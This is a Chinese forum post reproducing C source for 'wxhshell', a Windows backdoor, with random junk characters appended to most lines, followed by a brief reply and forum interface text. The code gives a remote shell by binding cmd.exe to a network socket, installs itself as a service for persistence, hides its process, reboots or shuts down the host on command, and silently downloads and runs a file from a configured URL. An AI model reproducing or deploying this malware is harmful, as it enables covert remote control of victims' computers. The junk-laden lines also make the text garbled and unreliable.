  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -<^Q2]PE;  
  if(DownloadFile(cmd,wsh)) #i#.tc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ax%K?MBD  
  else vh{1u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b(rBha|  
  } \YF!< 2|[  
  else { 5T@'2)BI=  
f#-T%jqnK  
    switch(cmd[0]) { */h 9"B  
  ?g1 .-'  
  // 帮助 ) o(F*v  
  case '?': { |N3 Co B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g,]5&C T3v  
    break; ~w}[ ._'#M  
  } d:WhP_rK9  
  // 安装 38S&7>0@|q  
  case 'i': { Am^O{`r41  
    if(Install()) S{|)9EKw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`1L[-<d=/  
    else +?g,&NE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \}Kp=8@nE  
    break;  l e/#J  
    } wI]>0geb*  
  // 卸载 hp%Pg &  
  case 'r': { &7nfTc  
    if(Uninstall()) 5|={1Lp24g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0'2{[xF  
    else 'cc4Y~0s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +}Wo=R}  
    break; aV%rq9Tp  
    } *LQY6=H  
  // 显示 wxhshell 所在路径 <(lSNGv5N  
  case 'p': { ?mUu(D:7D  
    char svExeFile[MAX_PATH]; Uwil*Jh  
    strcpy(svExeFile,"\n\r"); o5A_j?t  
      strcat(svExeFile,ExeFile); ![C $H5  
        send(wsh,svExeFile,strlen(svExeFile),0); xb_:9   
    break; a^1c _  
    } I*ni)Px  
  // 重启 rKO*A7vE  
  case 'b': { Kt7x'5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ln -?/[E  
    if(Boot(REBOOT)) ~ab_+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 3I9`!e  
    else { )Ea_:C'  
    closesocket(wsh); M!i5StGC  
    ExitThread(0); -H;y_^2  
    } h>Pg:*N,(  
    break; 6spk* 8e  
    } u(a&x|WY  
  // 关机 6?x{-Zj ^?  
  case 'd': { 'a[|}nJ3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \r9%;?f  
    if(Boot(SHUTDOWN)) QQ8W;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b:&$x (|  
    else { /Day5\Q#  
    closesocket(wsh); {j@)sDM X  
    ExitThread(0); ?b$zuJ]  
    } BC[d={_-  
    break; pU'sADC  
    } ^( VB5p  
  // 获取shell T+"y8#:  
  case 's': { EqluxD=  
    CmdShell(wsh); T#f@8 -XUE  
    closesocket(wsh); LP_F"?4  
    ExitThread(0); `3n*4Lz  
    break; G* 6<pp  
  } SX,z J`"  
  // 退出 [63;8l}  
  case 'x': { .ai9PsZ?V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (}8 ;3pp  
    CloseIt(wsh); K)@Buu&,p  
    break; 'Mqa2o'M  
    } : seL=  
  // 离开 B+ sqEj-  
  case 'q': { <}1%">RA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7y7y<`)I5  
    closesocket(wsh); :_zKUv]  
    WSACleanup(); %lmRe(M  
    exit(1); wpI4P:  
    break; 7rg[5hP T  
        } g3rFJc  
  } PyF4uCn"H  
  } }O{"qs#)  
PSE| 4{'  
  // 提示信息 t"Hrn3w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rT)R*3  
} 'E,Yht=/}  
  } hj1 jY  
:W.(,65c  
  return; :wAB"TCt0  
} 1w^[Eno$$  
^)pY2t<^  
// shell模块句柄 +60;z4y}w  
int CmdShell(SOCKET sock) rXX|?9 '  
{ 1ouTZ'c?  
STARTUPINFO si;  %C:XzK-x  
ZeroMemory(&si,sizeof(si)); TI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'a*IZb-M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _@TTVd  
PROCESS_INFORMATION ProcessInfo; dY.uOafr  
char cmdline[]="cmd"; `pUArqf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o7seGw<$X  
  return 0; ,;18:  
} PBv43uIL  
w(-n1oSo  
// 自身启动模式 $)~]4n=  
int StartFromService(void) L]}|{< 3\  
{ N-]n>E  
typedef struct N';lc:Ah~  
{ B)dynGF8i  
  DWORD ExitStatus; 2ZeL  
  DWORD PebBaseAddress; LsV"h<  
  DWORD AffinityMask; |_*1/Wz@  
  DWORD BasePriority; uBgHtjmae  
  ULONG UniqueProcessId; RI;RE/Z  
  ULONG InheritedFromUniqueProcessId; ,Pm/ci( s  
}   PROCESS_BASIC_INFORMATION; }tPl?P'`  
ZP<X#]$qb  
PROCNTQSIP NtQueryInformationProcess; CcTJCuOS  
s_TM!LRUcw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oJ+$&P(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o*xEaD  
TbuR?#  
  HANDLE             hProcess; gjV&X N  
  PROCESS_BASIC_INFORMATION pbi; { Se93o  
.Dmvgi]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vp$ckr  
  if(NULL == hInst ) return 0; -( G2@NG  
!c7Od )]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D>Z_N?iR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0a'y\f:6*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Yk$Q\c  
0*/~9n-Vl  
  if (!NtQueryInformationProcess) return 0; ;}qCIyuO]  
~k 3r$e@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ![V- e  
  if(!hProcess) return 0; @:I/lg=Qd  
?6bE!36  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V2.K*CpZ7  
#p >PNW-  
  CloseHandle(hProcess); 5UbVg  
9[*kpMC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \=<.0K A~  
if(hProcess==NULL) return 0; LzfLCGA^  
J:(l&  
HMODULE hMod; 67eo~~nUtg  
char procName[255]; n'H\*9t  
unsigned long cbNeeded; L%"Mp(gZ  
C@-JH\{\T#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yy}aQF#M  
k*Kq:$9"  
  CloseHandle(hProcess); ajAEGD2Zq  
r.GjM#X  
if(strstr(procName,"services")) return 1; // 以服务启动 ))N^)HR  
lI 8"o>-~  
  return 0; // 注册表启动 mx yT==E  
} /Kvb$]F+!  
Fk4 3sqU6~  
// 主模块 1jyWP#M#  
int StartWxhshell(LPSTR lpCmdLine) r4sR5p]|  
{ 8z-Td-R6  
  SOCKET wsl; 83a Rq&(R  
BOOL val=TRUE; 9maw+c!~  
  int port=0; pLU>vQA  
  struct sockaddr_in door; F\e'z  
QbWD&8T0O  
  if(wscfg.ws_autoins) Install(); &,/T<V  
@'<|B. f  
port=atoi(lpCmdLine); 82vx:*Ip!}  
i@RjG   
if(port<=0) port=wscfg.ws_port; -1R~3j1_  
\WTg0b[  
  WSADATA data; tv2dyC&a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Dhc9  
uP$K{ )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b<8h\fR#'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = 7?'S#  
  door.sin_family = AF_INET; SXL6)pX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pV!(#45~W  
  door.sin_port = htons(port); 8yo9$~u;  
$ ]HIYYs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Du/s  
closesocket(wsl);  0c{N)  
return 1; Km?i{TW  
} ICi- iX  
DF~w20+  
  if(listen(wsl,2) == INVALID_SOCKET) {  xOT3>$  
closesocket(wsl); +Il=gL1  
return 1; (Gc5l MiX3  
} 5?O"N  
  Wxhshell(wsl); dw-r}Qioe  
  WSACleanup(); F8/@/B  
`y\:3bQ4  
return 0; p d6d(  
,-b9:]{L  
} "`S61m_  
(F)zj<{f  
// 以NT服务方式启动 ivm.ng[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A9#2.5  
{ t*x;{{jL#(  
DWORD   status = 0; %(E6ADB  
  DWORD   specificError = 0xfffffff; +[F8>9o&  
s{/nO)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QWoEo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L*Y}pO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =[WccF  
  serviceStatus.dwWin32ExitCode     = 0; gUMUh] j  
  serviceStatus.dwServiceSpecificExitCode = 0; _,}Ye,(^=  
  serviceStatus.dwCheckPoint       = 0; _i 8oWy1  
  serviceStatus.dwWaitHint       = 0; \rJk[Kec  
ZjcJYtD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S("bN{7nE  
  if (hServiceStatusHandle==0) return; q=bXHtU  
*8N~ Zmz  
status = GetLastError(); Oe273Y^e  
  if (status!=NO_ERROR) ,wV2ZEW}e  
{ E.}Zmr#H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $W09nz9?  
    serviceStatus.dwCheckPoint       = 0; li{_biey}  
    serviceStatus.dwWaitHint       = 0; y8L:nnSj  
    serviceStatus.dwWin32ExitCode     = status; VltWY'\Wu;  
    serviceStatus.dwServiceSpecificExitCode = specificError; [B4?Z-K%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5E@V@kw  
    return; qg O)@B+  
  } ^uj+d"a)  
Jx}5`{\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xy{b(b;9  
  serviceStatus.dwCheckPoint       = 0; |qr[*c3$1  
  serviceStatus.dwWaitHint       = 0; ~`BOz P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =$'Zmb [D  
} +)|2$$m  
{p-%\nOC  
// 处理NT服务事件,比如:启动、停止 KpE#Ye&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;2iZX=P`n  
{ TnG"_VK9R  
switch(fdwControl) IV *}w"r  
{ L?P8/]DGp  
case SERVICE_CONTROL_STOP: Zy#r<j]T  
  serviceStatus.dwWin32ExitCode = 0; ]-6 G'i?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z TK  
  serviceStatus.dwCheckPoint   = 0; <.<Nw6  
  serviceStatus.dwWaitHint     = 0; >GcFk&x  
  { x6,RW],FGR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V7^?jck  
  } Ip4~qGJ  
  return; LP\ Qwj{  
case SERVICE_CONTROL_PAUSE: @6gz)  p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o _-t/ ?  
  break; HDaec`j  
case SERVICE_CONTROL_CONTINUE: L}9 @kjW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c.~|)^OXXO  
  break; J+TYm%A;-  
case SERVICE_CONTROL_INTERROGATE: iZ:-V8{  
  break; QIw.`$H+  
}; aql*@8 )m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1a' JNe$  
} ;)kBJ @  
2P|-V};9  
// 标准应用程序主函数 ~vXul`x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jIl-}/2  
{ -P?} qy^j(  
Z+}SM]m  
// 获取操作系统版本 KGJB.<Be  
OsIsNt=GetOsVer(); lz(9pz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wEp/bR1=  
Txxc-$z  
  // 从命令行安装 \-B>']:R4  
  if(strpbrk(lpCmdLine,"iI")) Install(); JdAjKN  
X bg7mj9c  
  // 下载执行文件 )SQ g  
if(wscfg.ws_downexe) { E|6|m8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 81g&WQ'  
  WinExec(wscfg.ws_filenam,SW_HIDE); jm?mO9p~  
} MG<~{Y84}  
%>bwpN  
if(!OsIsNt) { xXbW6aI"  
// 如果时win9x,隐藏进程并且设置为注册表启动 QQw^c1@  
HideProc(); :Cuae?O,  
StartWxhshell(lpCmdLine); t_N `e(V  
} g(`6cY[}  
else i^> RjR  
  if(StartFromService()) WP>O7[|  
  // 以服务方式启动 @s/ qOq?  
  StartServiceCtrlDispatcher(DispatchTable); h"'f~KM9a>  
else &#;,P :.'  
  // 普通方式启动 4>|5B:  
  StartWxhshell(lpCmdLine); 4[#.N 3Y4*  
,^[s4 =3X?  
return 0; /j^zHrLN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八